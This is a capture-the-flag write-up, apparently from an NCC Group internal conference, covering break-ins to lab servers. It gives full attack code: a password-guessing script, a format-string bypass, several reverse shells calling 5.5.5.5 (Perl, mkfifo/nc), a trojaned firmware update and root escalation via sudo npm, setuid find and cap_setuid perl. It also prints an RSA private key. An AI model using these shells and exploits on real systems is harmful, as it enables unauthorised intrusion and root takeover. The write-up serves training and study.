NCC Group’s internal conference for 2020 contained another capture the flag that had plenty of interesting challenges. Mad props to Gabe, Dan, and Clayton for running another smooth CTF. Like the previous year the CTF consisted of a handful of servers that participants had to break into in order to acquire enumeration, foothold, and root flags (plus random cryptography and forensic flags). The rules were largely unchanged from last year, but one of the major changes was that the number of flags for each machine was unknown.

The following are write-ups for all the servers describing how I acquired the foothold and root flags. I’m not going to writeup all the miscellaneous challenges in this post.

Elogin

Elogin - Foothold

After a TCP port scan of files.eversec.cloud using nmap, we find an unknown text-based service (“Elite?") running on port 31337.

$ nmap files.eversec.cloud -sV -sC -p-
...
PORT      STATE SERVICE VERSION
31337/tcp open  Elite?
| fingerprint-strings:
|   GenericLines:
|     Debug mode enabled.. pointer set to c692a044
|     Welcome to EverSec interactive login v1.1
|     Enter the secret password to continue.
|     Incorrect password entered.
...

We connect to the service via netcat and send some data to the service to see what kind of response we get.

$ nc files.eversec.cloud 31337
junk
Debug mode enabled.. pointer set to afe82044
Welcome to EverSec interactive login v1.1
Enter the secret password to continue.
junk
Incorrect password entered.

The service does appear to leak a memory address (pointer set to afe82044), so we might be dealing with a pwn challenge, but before we go that route let’s try the easy route. I initially gained a foothold on the server by launching a dictionary attack against the service by creating and using the following simple Python script.

import socket
import sys

with open('/usr/share/wordlists/10-million-password-list-top-1000000.txt') as f:
  for line in f:
    print 'Trying: ' + line
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('167.172.25.140', 31337))
    s.sendall(line.strip()+'\n')
    data = s.recv(1024)
    s.close()
    print 'Received: ' + data
    if "Incorrect" not in data:
      print "PASSWORD FOUND..."
      sys.exit()

After running the script we quickly identify that the correct password is “testing”, which I probably could have guessed manually.

$ python dict_attack_elogin.py 
...
Received: Debug mode enabled.. pointer set to c8608044
Welcome to EverSec interactive login v1.1 
Enter the secret password to continue.
chance
Incorrect password entered.

Trying: bubbles

Received: Debug mode enabled.. pointer set to 32e70044
Welcome to EverSec interactive login v1.1 
Enter the secret password to continue.
bubbles
Incorrect password entered.

Trying: testing

Received: /bin/sh: 0: 
PASSWORD FOUND...

We can again use netcat to interact with the service. Providing the correct password provides us a shell on the server as the evrs user.

$ nc files.eversec.cloud 31337
...
testing
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1000(evrs) gid=1000(evrs) groups=1000(evrs)

Time to grab the flag.

$ pwd 
/home/evrs
$ cat flag.txt
7HER0cK1ngH0RS3w1nner

Elogin - Foothold (Intended Path)

Acquiring foothold by just launching a dictionary attack against the service was not the intended path since the service was vulnerable to format string attacks. Last year there was a similar challenge called backdoor that involved abusing a format string vulnerability to leak the password from memory but this year’s challenge was slightly different.

We can send a bunch of format specifiers to the service and see how it reacts.

nc files.eversec.cloud 31337
%x %x %x %x %x %x %x %x %x
Debug mode enabled.. pointer set to 91b7a044
Welcome to EverSec interactive login v1.1 
Enter the secret password to continue.
92482271 3a3e98d0 3a3e7a00 9248228b 0 155916f8 40 800000 91b7a044
Incorrect password entered.

The service is clearly vulnerable to format string attacks since it returned nine unsigned hexadecimal integers when provided with nine %x format specifiers. I next tried to use the string format specifier to leak off any strings that exist in memory, but I could not find anything interesting.

nc files.eversec.cloud 31337
%x %x %x %x %x %x %x %x %s
Debug mode enabled.. pointer set to bb8d4044
Welcome to EverSec interactive login v1.1 
Enter the secret password to continue.
bc962271 273f48d0 273f2a00 bc96228b 0 3321aae8 40 800000 
Incorrect password entered.

After banging my head against the wall, and going down multiple rabbit holes, I figured that there must be an authentication flag somewhere in memory and I assumed that the program would validate the password then set the authentication flag to one. This was a bit tricky to figure out, but eventually I figured out that sending %1c%9$n would force the authentication flag to be one in order to bypass authentication and acquire a shell. Breaking down the format specifier syntax, I force one character to be written (%1c) from the stack and then I force the number of characters written by printf so far (one) to be written to the address of the ninth parameter (%9$n). Finding the correct values took some trial and error, but eventually it worked.

nc files.eversec.cloud 31337
%1c%9$n
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1000(evrs) gid=1000(evrs) groups=1000(evrs)

Elogin - Root

From running sudo, we know that the evrs user can run the Node Package Manager command as root.

$ sudo -l
Matching Defaults entries for evrs on 2f20ec153ae5:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User evrs may run the following commands on 2f20ec153ae5:
    (root) NOPASSWD: /usr/local/bin/npm

In order to get code to execute as the root user, we are going to create a Node package.json file with the following contents that defines a test script.

{
  "name": "hello-world-node-package",
  "version": "1.0.1",
  "description": "Creating Node Package. This is a simple exmaple of creating node pakcage.",
  "main": "index.js",
  "scripts": {
    "test": "perl /tmp/t.pl"
  },
  "keywords": [],
  "author": "KK",
  "license": "ISC",
  "repository": {
    "type": "git",
    "url": "https://github.com/webrolls/hello-world-node-package.git"
  },
  "bugs": {
    "url": "https://github.com/webrolls/hello-world-node-package/issues"
  },
  "homepage": "https://github.com/webrolls/hello-world-node-package#readme"
}

We can just write the package.json file to the /tmp directory.

$ echo 'ewogICJuYW1lIjogImhlbGxvLXdvcmxkLW5vZGUtcGFja2FnZSIsCiAgInZlcnNpb24iOiAiMS4wLjEiLAogICJkZXNjcmlwdGlvbiI6ICJDcmVhdGluZyBOb2RlIFBhY2thZ2UuIFRoaXMgaXMgYSBzaW1wbGUgZXhtYXBsZSBvZiBjcmVhdGluZyBub2RlIHBha2NhZ2UuIiwKICAibWFpbiI6ICJpbmRleC5qcyIsCiAgInNjcmlwdHMiOiB7CiAgICAidGVzdCI6ICJwZXJsIC90bXAvdC5wbCIKICB9LAogICJrZXl3b3JkcyI6IFtdLAogICJhdXRob3IiOiAiS0siLAogICJsaWNlbnNlIjogIklTQyIsCiAgInJlcG9zaXRvcnkiOiB7CiAgICAidHlwZSI6ICJnaXQiLAogICAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vd2Vicm9sbHMvaGVsbG8td29ybGQtbm9kZS1wYWNrYWdlLmdpdCIKICB9LAogICJidWdzIjogewogICAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vd2Vicm9sbHMvaGVsbG8td29ybGQtbm9kZS1wYWNrYWdlL2lzc3VlcyIKICB9LAogICJob21lcGFnZSI6ICJodHRwczovL2dpdGh1Yi5jb20vd2Vicm9sbHMvaGVsbG8td29ybGQtbm9kZS1wYWNrYWdlI3JlYWRtZSIKfQ==' | base64 --decode > /tmp/package.json

We also need to create the t.pl file, which is just a Perl script that setups a reverse shell (the IP address would need to be adjusted to point to your attacking server).

$ echo 'use Socket;$i="5.5.5.5";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' > /tmp/t.pl

Before we call the npm command, execute the following command to catch the shell on your attacking machine.

$ nc -lvp 4444
listening on [any] 4444 ...

Now on the Elogin machine, call npm test with sudo to execute the command as root. npm test will “run a package’s ‘test’ script, if one was provided.”

$ sudo npm test
...
> hello-world-node-package@1.0.1 test /tmp
> perl /tmp/t.pl
...

Great, we now have a root shell by abusing a user account that had the ability to run npm as the root user.

$ nc -lvp 4444
listening on [any] 4444 ...
...
/bin/sh: 0: can't access tty; job control turned off

# id
uid=0(root) gid=0(root) groups=0(root)

# ls /root/
ha.txt

# cat /root/ha.txt
D3sTined2F41l

ESensor

ESensor - Root

The dev.eversec.cloud server had multiple ports open including a web server on port 8081.

$ nmap -sV -sC dev.eversec.cloud -p-
...
PORT     STATE SERVICE          VERSION
...
8081/tcp open  blackice-icecap?
...

Visiting the site with a browser, we are presented with the “EverSensor” product which appears to be some type of IoT weather sensor device. Besides providing information about the current temperature the application allows users to download a backup of the device’s firmware and check for updates.

Let’s click on the check for updates functionality while intercepting the HTTP requests with a web proxy.

POST /check HTTP/1.1
Host: dev.eversec.cloud:8081

update_url=https://s3.amazonaws.com/esensor/update/2019_0222_sensor.update

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 8

NOUPDATE

We note that a HTTP POST request is sent to the server with the update_url parameter that points to a file on a S3 bucket. If we can trick the server into receiving a firmware update that we control we might be able to hijack the device. Before we do that let’s download the backup file located at http://dev.eversec.cloud:8081/backup and inspect it.

$ file backup.tar.gz
backup.tar.gz: POSIX tar archive

Looks like a tarball, let’s extract it.

$ tar -xvzf backup.tar.gz
x config/
x config/updates/
x config/settings.ini
x config/updates/2019_0221_sensor.update

The backup file contains an example update file. Using file and xxd to perform a quick inspection we note that the file starts with some base64 encoded content.

$ file 2019_0221_sensor.update
2019_0221_sensor.update: data

$ xxd 2019_0221_sensor.update
00000000: 5365 4b41 6d57 5167 636d 4630 6147 5679  SeKAmWQgcmF0aGVy
00000010: 4948 4e30 5958 6b67 6147 5679 5a53 4230  IHN0YXkgaGVyZSB0
00000020: 6147 4675 4947 6476 4947 4a31 6443 424a  aGFuIGdvIGJ1dCBJ
00000030: 4947 7475 6233 6367 6447 6868 6443 414b  IGtub3cgdGhhdCAK
00000040: 5353 427a 6147 3931 6247 5167 6247 5668  SSBzaG91bGQgbGVh
00000050: 646d 5567 5958 4d67 5353 427a 6158 5167  dmUgYXMgSSBzaXQg
00000060: 6147 5679 5a53 426f 5a57 7877 6247 567a  aGVyZSBoZWxwbGVz
00000070: 6379 414b 5353 4230 6147 6c75 6179 4276  cyAKSSB0aGluayBv
00000080: 5a69 4276 6458 4967 6447 6c74 5a53 4230  ZiBvdXIgdGltZSB0
00000090: 6232 646c 6447 686c 6369 4270 6379 4270  b2dldGhlciBpcyBp
000000a0: 6443 426d 5957 5270 626d 6367 4367 6f74  dCBmYWRpbmcgCgot
000000b0: 4c53 3074 4c53 3074 4c53 3074 4c53 3074  LS0tLS0tLS0tLS0t
000000c0: 4c53 3074 4c53 3074 4c53 3074 4c53 3074  LS0tLS0tLS0tLS0t
000000d0: 4c53 3074 4c53 3074 4c53 3074 4367 7030  LS0tLS0tLS0tCgp0
000000e0: 4d32 684b 6457 7778 4e47 3430 5647 677a  M2hKdWwxNG40VGgz
000000f0: 4d48 4a35 1f8b 0800 8de8 6e5c 0003 edd2  MHJ5......n\....
00000100: cb6a c330 1005 50af f515 d364 5f49 961f  .j.0..P....d_I..
00000110: bbfc 45d7 41b6 274d 8a2d 8b48 827e 7e4d  ..E.A.'M.-.H.~~M
00000120: 6402 853e 3609 a5ed 3d9b c130 9247 dc49  d..>6...=..0.G.I
00000130: 7eb0 9165 714f 4aa9 b6ae e952 9b5c 5559  ~..eqOJ....R.\UY
00000140: e5ba 226d 2a63 eac6 b4a5 22a5 8d6e 5441  .."m*c...."..nTA
00000150: f55d a75a a510 ed79 19e5 254d 7eb2 eed3  .].Z...y..%M~...
00000160: bea5 ed70 f8e2 9ef5 1dd7 fa4b a49c 7f60  ...p.......K...`
00000170: 17e6 f33e 7fdd fa1f dfe5 afdb 6bfe 9536  ...>........k..6
00000180: e592 7fbd f417 a46e 3dc8 47fe 79fe db07  .......n=.G.y...
00000190: d99d 9cec 6c38 0ab1 a5a7 cb02 d0c0 9edd  ....l8..........
000001a0: c0ae 3f71 10a2 1f48 5aef 25e7 2d11 5d72  ..?q...HZ.%.-.]r
000001b0: c3c8 9497 4570 7f9c 69b3 1eec e7c9 8f1c  ....Ep..i.......
000001c0: 7943 bbdd bb43 3277 efc7 f9f9 31be 46f1  yC...C2w....1.F.
000001d0: d3ef 0600 0000 0000 0000 0000 0000 0000  ................
000001e0: 0000 00f8 0bde 0022 6769 7200 2800 00    ......."gir.(..

Base64 decoding the content provides a cryptic message that appears to be lyrics from the Juliana Theory and a flag (t3hJul14n4Th30ry). Let’s remove the base64 encoded content at the start of the file using a hex editor and then inspect the file again with file.

$ file 2019_0221_sensor_modified.update
2019_0221_sensor_modified.update: gzip compressed data, last modified: Thu Feb 21 18:06:05 2019, from Unix, original size modulo 2^32 10240

Ok, now the file is recognized as a gzip file, let’s decompress the file.

$ tar -xvzf 2019_0221_sensor_modified.update
x update/
x update/sensor_update

It looks like a shell script is executed as part of the update process.

$ cat update/sensor_update
#!/bin/bash

# Update dependencies

cd /app/esensor
bundle update
echo "Update complete" >> /app/esensor/update_log.txt

Let’s modify the shell script to include a reverse shell connect back command (adjust the IP address to point back to your attacking machine). I also initially had included a wget command to verify that command execution was possible using an out-of-band technique for testing purposes.

#!/bin/bash

# Update dependencies
wget http://5.5.5.5:4444/wat
perl -e 'use Socket;$i="5.5.5.5";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
cd /app/esensor
bundle update
echo "Update complete" >> /app/esensor/update_log.txt

Next we need to create the new update file that includes the malicious update script.

$ tar -czvf new.update update
a update
a update/sensor_update

And we need to prepend the gzip file with the base64 encoded content with a hex editor, since the web application might use this content as magic bytes.

At this point we now have a malicious update file that we can upload to a server that we control. Execute the following command to catch the shell on our attacking machine.

# nc -lvp 80

And setup a web server to serve the malicious update file on the attacking machine.

$ python -m SimpleHTTPServer 4444
Serving HTTP on 0.0.0.0 port 4444 ...

Finally, we need to trigger the check update process using a web proxy tool. Note that the update_url parameter must point to our server that serves the malicious update file.

POST /check HTTP/1.1
Host: dev.eversec.cloud:8081
...

update_url=http://5.5.5.5:4444/new.update

HTTP/1.1 384 CUSTOM
Content-Type: text/html;charset=utf-8
...
Content-Length: 0

Fingers crossed, if everything works correctly we should now have a remote root shell on the server since the update process executed under the root user.

# nc -lvp 80
listening on [any] 80 ...
...
/bin/sh: 0: can't access tty; job control turned off

# id
uid=0(root) gid=0(root) groups=0(root)

# ls /root
flag.txt

# cat /root/flag.txt
4u9U571n837H4nY

FTPD

FTPD - Foothold

The files.eversec.cloud server had multiple ports open including a FTP server running on port 21.

$ nmap files.eversec.cloud -sV -sC -p-
...
21/tcp    open     ftp      vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    5 0        0            4096 Dec 23 14:46 pub
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 66.56.229.4
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
...

As noted by the nmap output, the FTP server does support anonymous logins, but that avenue was a rabbit hole. One of the forensic challenges in the CTF involved reviewing a PCAP file that contained plaintext credentials sent by a client as part of a FTP session.

220 (vsFTPd 2.2.2)
USER eversec
331 Please specify the password.
PASS NevErM3@nT
230 Login successful.

Turns out that we can use these same credentials against the FTP server running on files.eversec.cloud.

$ ftp files.eversec.cloud
Connected to ctf2.eversec.cloud.
220 (vsFTPd 3.0.3)
Name (files.eversec.cloud:ec2-user): eversec
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> pass
Passive mode on.

The eversec user’s home directory did not contain any noteworthy files, but after browsing around the filesystem I noted that the /usr/lib/cgi-bin/ was marked as world-writable.

ftp> dir
227 Entering Passive Mode (167,172,25,140,195,125).
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Jun 21  2018 X11
drwxr-xr-x    3 0        0            4096 Dec 22 04:44 apache2
drwxr-xr-x    5 0        0            4096 Oct 29 21:25 apt
drwxr-xr-x    2 0        0            4096 Dec 22 04:44 at-spi2-core
drwxr-xr-x    2 0        0            4096 Nov 15 15:01 binfmt.d
drwxrwxrwx    1 0        0            4096 Jan 08 19:53 cgi-bin
...
226 Directory send OK.

Given that there is a web server running on files.eversec.cloud that supports CGI scripts, which is not a common configuration anymore, the path to gaining a foothold on this box became clear. First we need to create a simple shell script on our attack box (named n.sh in my case). We will need to adjust the IP address to to point to our attacking server.

#!/bin/sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 5.5.5.5 4444 >/tmp/f

Next we are going to use FTP to upload the shell script to the /usr/lib/cgi-bin/ directory and mark the script as executable.

ftp> cd /usr/lib/cgi-bin
250 Directory successfully changed.
ftp> put n.sh
local: n.sh remote: n.sh
227 Entering Passive Mode (167,172,25,140,195,125).
150 Ok to send data.
226 Transfer complete.
90 bytes sent in 0.00 secs (1.5895 MB/s)
ftp> dir
227 Entering Passive Mode (167,172,25,140,195,125).
150 Here comes the directory listing.
-rw-r--r--    1 1000     1000           90 Jan 11 21:18 n.sh
226 Directory send OK.
ftp> chmod 755 n.sh
200 SITE CHMOD command ok.

Then we execute the following command to catch the shell on our attacking machine.

$ nc -lvp 4444
listening on [any] 4444 ...

And, finally we go to http://files.eversec.cloud/cgi-bin/n.sh in a browser in order to trigger the execution of the cgi-bin script. At this point we should now have a shell on the server as the www-data user.

...
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

FTPD - Root

If we inspect which files on the server are marked as setuid then we will note that the find command runs under the root user.

$ find / -perm -g=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null
/sbin/unix_chkpwd
/sbin/pam_extrausers_chkpwd
/usr/bin/wall
/usr/bin/chage
/usr/bin/find
/usr/bin/expiry
/usr/bin/ssh-agent
/usr/bin/dumpcap
/usr/bin/crontab

Gaining a root shell is simple since we can just invoke the find command with the exec action and then grab the flag.

$ find . -exec /bin/sh -p \; -quit
find . -exec /bin/sh -p \; -quit

# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)

# ls /root
ls /root
root.txt

# cat /root/root.txt
cat /root/root.txt
4llS3cretsKn0wn

Knocker External

Knocker External - Foothold

The files.eversec.cloud server had multiple ports open including an unknown text-based service (krb524?) on port 4444 and a Python-based web server running on port 8000.

$ nmap -sV -sC -p- files.eversec.cloud
...
4444/tcp  open     krb524?
| fingerprint-strings:
|   DNSStatusRequestTCP:
|     Hello Jackson & Welcome to the Jumble!
|     Solve:dnrioaadbr Solve:ucjasbk
...
8000/tcp  open     http     SimpleHTTPServer 0.6 (Python 2.7.17)
|_http-server-header: SimpleHTTP/0.6 Python/2.7.17
|_http-title: Directory listing for /
...

The web server running on port 8000 contained a list of words (http://files.eversec.cloud:8000/jackson/words.txt).

borne
precombatting
noncandescent
cushat
lushness
...

Let’s connect to the service on port 4444 using nc and briefly interact with it to see what it is.

$ nc files.eversec.cloud 4444
Hello Jackson & Welcome to the Jumble!

Solve:rdreccesue dontknow
Solve:popihsgeum dontknow
...

Score: 0
Time: 16.23 secs
Just a bit embarrasing really...

The service appears to expect us to solve a series of anagrams within seconds. Given that I’m not going to be able to solve the anagrams in that short of a timeframe I put together a simple Python script to automate the process.

import socket
import time
import telnetlib

def anagramchk(word,chkword):
  if len(word) != len(chkword):
    return 0
  for letter in word:
    if letter in chkword:
      chkword = chkword.replace(letter, '', 1)
    else:
      return 0
  return 1

def recvall(sock):
    BUFF_SIZE = 4096
    data = b''
    while True:
        part = sock.recv(BUFF_SIZE)
        data += part
        if len(part) < BUFF_SIZE:
            break
    return data

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = ('167.172.25.140', 4444)
s.connect(server_address)
print recvall(s)
solve = recvall(s)
print solve
check_word = solve.split(":")[1].strip()
found_word = ""
min_length = 20
f = open('words.txt', 'r')
for line in f:
  line = line.strip()
  if len(line) >= 4:
    if anagramchk(line, check_word):
      found_word = line
      break
if len(found_word) > 0:
  print "FOUND: " + found_word
s.sendall(found_word + "\n")

while "Solve:" in solve:
  solve = recvall(s)
  print solve
  check_word = solve.split(":")[1].strip()
  if len(check_word) < min_length:
    min_length = len(check_word)
  found_word = ""
  f.seek(0)
  for line in f:
    line = line.strip()
    if len(line) >= 4:
      if anagramchk(line, check_word):
        found_word = line
        break
  if len(found_word) > 0:
    print "FOUND: " + found_word
  s.sendall(found_word + "\n")

Let’s run the script and hope for a shell.

$ python knocker_external_2.py
Hello Jackson & Welcome to the Jumble!

Solve:ecnnutniig
FOUND: unenticing
Solve:elieebl
...
FOUND: arguable
Solve:pleetpanarna
FOUND: lappeenranta

Score: 120
Time: 5.03 secs
You're a winner
LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlFb3dJQkFBS0NBUUVBeDZ6dkZQYWszV2IrZU9VVjJzeTROemFrYXBKYmhJWnRyRmxQQ1hNR0lLZEtzUUNECnRRaHNHNFhBUVhXY211eFN1YUxrajJtSUR0aTlMMVNnNTU2OWZhTjBFbGN1VnYwREVDaysxZEZxbUZCMkxEUVkKbU12clErQ1hBWEc0NDVRSmFleGNMYWxqNW5mcG1HOStGYmJFaWdtNU5HVUR6T0UzUmFSOHdCTkE4NWFUUkZBbQpncXhaOHVyTzFIdmdsVTkxTC9ldk5BREczOGMrUjBmTjVaaUNlSzl2eC9iOEJaSXlaMmptZ3JCaHJhY0F0Uk5UCkFmcHJXbXp6MkdlL3BsK3FtaGxERTA5eVRXYzJtRXdqMWU5bUFpS01WVzhrU1pBYTFxT3dYZGpGdFp3eFkwbFEKMk85ZHN5Z3F6TGVHQ1dCdlJYdDkwdFp5L2hDbzRuOEo4MGFsNFFJREFRQUJBb0lCQUF2WWhwYUh5MkFYTENHZgo5WnYxYVRoZFZZTzlDeERocU1BQXpGK1RJMW5za3RITlpnTG5iUUowL09MbFIxVXBqLzdUV3h2bTl0dHFvRTZlCmhxMDNEYWJXZTV4YTc3VFpiY1VYclZLaUNlRGZaU05hTTl0Y3ZhaFpPcHdyVXZ5dFc2R2RGQnJoWWJ2YWdWRTUKekJFZHRxczV5SE1EU3lac2RncjdweXI5K1d4NTk0NVlPdVU4QWdCd2pwQmhtVVhmSlNwRXEvWnJLUmZxMkM5SgoyaXpPR2ZrcXJDbHNsUzRza1ZPb2hKU0krZHNPcGc0SjFxUm82YnpvNXRXY3hteHIxdVExSHR6U1l2Lzc3YXMyCmgwWll5b21ETDlzZVpsQU1rWVp0Y3BabGRxcS9rZmFxNDJlaUxQQ3NTOTR1OGdBWEVLb1VoTUZueEd6cjZ6bzAKQWNFN2lRRUNnWUVBNVpORFJtZTd0dmxLb3RxUTJWaTZtRnBudmxOK0trZzlpVGNtZ2pOdmhVZDBHR014SDNUSwowS0QzVks0OFdsMC9weHowdnNRVWFkWHU4a3orTXB0MWhRTGlMdEx5ZWswVG91VjAzUCttV1ZzVXd0bW1lOUR2ClB3Z1NOTlpleHhDZFBmVnNUR1FRYUFmV25OdTA2UWlRbXh6WEx4b0NmWEJ3WUdyWS9IV0tobjBDZ1lFQTNxaWkKNnM2aU00bkpVdVRXWUVyR3RDNTJQeWk3aUY5eGVGaXY4c09HVGRWRmhvZ0VIQjdpemtWRXg4Q1pBY2Z4U1BUVgpsRnRzK2NKNWk2YVF5cGZ2TWpyRkdXUVpqbjdSR1FYS2VJNmtwVUlSWWxvdnpuL1FLWkdJZGdJMHFENWxXMUNTCm0vNkRBUkgwQlZtbDVMUmM4cUtCbm1YVW9QYjBCcjlXUU1SL1pqVUNnWUE0elFuTkpxZE1LenZyTlRhM2YvdVMKN0hOVXBPWEhZbDVQVCtUb08vK3dzekFuUkl1SDQrYTJYYzAwRjNQNVM2OFBFdHYvUXhabDVUZWNuYTRiS1ZtWApVbEpTRVlGSy96MEhoY3czVGMyRHVFUlh2WEF5bkV4RmhTSzBEZ0lmTUo0bkVVejlUWmk5bElybC9ub3hXaHdsCk5LcU5EZHRsMitjQ0JBMngwUWM0SlFLQmdIZkxTendCeUlycUN3TXFVNXlqSHAwNmtpd1JBalN4QlIrMnQ1TnAKVnd6eFBlTFBzMFpkNTdFSzI2S05JTVV3aWNTeTFXWm9lZzAyY0thT0MwQzAxZUMwZGU3ZlNGQytNa25BTDlzRgpBOWhWMzN5SEFVbWN3cVphd295YlN6RnB3S2FNaHhTZXJtVVkvNjBST292OTdqUXM4b2dDU1pBQXpmSURaNmlaCkQrSXhBb0dCQUwwZ3RqUFN5R1FZYWF0QkNXdHpFOElMdWJuYzh3YVlOTEVYbkRxVGpaZmgwQTZsN01oMkZFdlIKUHJndUc2NUQwaWZMUG9vc3cyTnQyM3BpZ1Q4WnZmOTN5YVREYmNqVzZlSStMZjBlUDNMTFVaQ2p6S2YxWmIzaApQaUY0TlgwTnd5UGI0S0d6Q1R2VXo3ZXdiVm5EYllTaXVCRklKRHA3Nm9lNmtRb1A2VFQ0Ci0tLS0tRU5EIFJTQSBQUklWQVRFIEtFWS0tLS0tCg==

The service returns a base64 encoded string when we successfully solve a bunch of anagrams quickly, which turns out to be a RSA private key.

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAx6zvFPak3Wb+eOUV2sy4NzakapJbhIZtrFlPCXMGIKdKsQCD
tQhsG4XAQXWcmuxSuaLkj2mIDti9L1Sg5569faN0ElcuVv0DECk+1dFqmFB2LDQY
mMvrQ+CXAXG445QJaexcLalj5nfpmG9+FbbEigm5NGUDzOE3RaR8wBNA85aTRFAm
gqxZ8urO1HvglU91L/evNADG38c+R0fN5ZiCeK9vx/b8BZIyZ2jmgrBhracAtRNT
AfprWmzz2Ge/pl+qmhlDE09yTWc2mEwj1e9mAiKMVW8kSZAa1qOwXdjFtZwxY0lQ
2O9dsygqzLeGCWBvRXt90tZy/hCo4n8J80al4QIDAQABAoIBAAvYhpaHy2AXLCGf
9Zv1aThdVYO9CxDhqMAAzF+TI1nsktHNZgLnbQJ0/OLlR1Upj/7TWxvm9ttqoE6e
hq03DabWe5xa77TZbcUXrVKiCeDfZSNaM9tcvahZOpwrUvytW6GdFBrhYbvagVE5
zBEdtqs5yHMDSyZsdgr7pyr9+Wx5945YOuU8AgBwjpBhmUXfJSpEq/ZrKRfq2C9J
2izOGfkqrClslS4skVOohJSI+dsOpg4J1qRo6bzo5tWcxmxr1uQ1HtzSYv/77as2
h0ZYyomDL9seZlAMkYZtcpZldqq/kfaq42eiLPCsS94u8gAXEKoUhMFnxGzr6zo0
AcE7iQECgYEA5ZNDRme7tvlKotqQ2Vi6mFpnvlN+Kkg9iTcmgjNvhUd0GGMxH3TK
0KD3VK48Wl0/pxz0vsQUadXu8kz+Mpt1hQLiLtLyek0TouV03P+mWVsUwtmme9Dv
PwgSNNZexxCdPfVsTGQQaAfWnNu06QiQmxzXLxoCfXBwYGrY/HWKhn0CgYEA3qii
6s6iM4nJUuTWYErGtC52Pyi7iF9xeFiv8sOGTdVFhogEHB7izkVEx8CZAcfxSPTV
lFts+cJ5i6aQypfvMjrFGWQZjn7RGQXKeI6kpUIRYlovzn/QKZGIdgI0qD5lW1CS
m/6DARH0BVml5LRc8qKBnmXUoPb0Br9WQMR/ZjUCgYA4zQnNJqdMKzvrNTa3f/uS
7HNUpOXHYl5PT+ToO/+wszAnRIuH4+a2Xc00F3P5S68PEtv/QxZl5Tecna4bKVmX
UlJSEYFK/z0Hhcw3Tc2DuERXvXAynExFhSK0DgIfMJ4nEUz9TZi9lIrl/noxWhwl
NKqNDdtl2+cCBA2x0Qc4JQKBgHfLSzwByIrqCwMqU5yjHp06kiwRAjSxBR+2t5Np
VwzxPeLPs0Zd57EK26KNIMUwicSy1WZoeg02cKaOC0C01eC0de7fSFC+MknAL9sF
A9hV33yHAUmcwqZawoybSzFpwKaMhxSermUY/60ROov97jQs8ogCSZAAzfIDZ6iZ
D+IxAoGBAL0gtjPSyGQYaatBCWtzE8ILubnc8waYNLEXnDqTjZfh0A6l7Mh2FEvR
PrguG65D0ifLPoosw2Nt23pigT8Zvf93yaTDbcjW6eI+Lf0eP3LLUZCjzKf1Zb3h
PiF4NX0NwyPb4KGzCTvUz7ewbVnDbYSiuBFIJDp76oe6kQoP6TT4
-----END RSA PRIVATE KEY-----

Since the server also has SSH running on port 2222, we can assume that this private key might allow us to SSH onto the box.

$ chmod 600 knocker.key

$ ssh jackson@files.eversec.cloud -p 2222 -i knocker.key
...

$ ls -al
total 48
drwxr-xr-x 1 jackson jackson 4096 Jan 24 01:58 .
drwxr-xr-x 1 root    root    4096 Dec 20 01:35 ..
-rw-r--r-- 1 jackson jackson  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 jackson jackson 3771 Apr  4  2018 .bashrc
drwx------ 2 jackson jackson 4096 Jan 24 01:58 .cache
-rw-r--r-- 1 jackson jackson  807 Apr  4  2018 .profile
drwxr-xr-x 1 jackson jackson 4096 Dec 20 01:35 .ssh
-rw-r--r-- 1 jackson jackson   15 Dec 13 15:06 foothold.txt
-rw-rw-r-- 1 jackson jackson 4919 Oct 12 17:06 jumble.py
drwxr-xr-x 1 jackson jackson 4096 Dec 20 01:35 www

$ cat foothold.txt
fl4nd3rd00dl3z

Ok great, we acquired the foothold flag and now have shell access to the Knocker box.

Knocker External - Root

While there were no obvious setuid, or setgid, executables to exploit on the server and the jackson user did not have sudo rights, I did notice that the perl executable was given the CAP_SETUID capability.

$ getcap -r / 2>/dev/null
/usr/bin/perl = cap_setuid+ep

The CAP_SETUID allows a process to make “arbitrary manipulations of process UIDs”, which sounds promising for privilege escalation. Let’s create a Perl script on the server (/tmp/t1.pl) that sets the UID to 0 and then spawns a shell.

#!/usr/bin/perl

use POSIX ();
POSIX::setuid(0);
system("/bin/sh");

Then we can execute the Perl script and grab the root flag.

$ perl /tmp/t1.pl

# ls /root/
flag.txt

# cat /root/flag.txt
0Nl3G3NDarY

Knocker Internal 1

Knocker Internal 1 (or4ng3) - Foothold

After gaining a foothold on the external Knocker server, I noted a few odd entries in the /etc/hosts file.

$ cat /etc/hosts
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
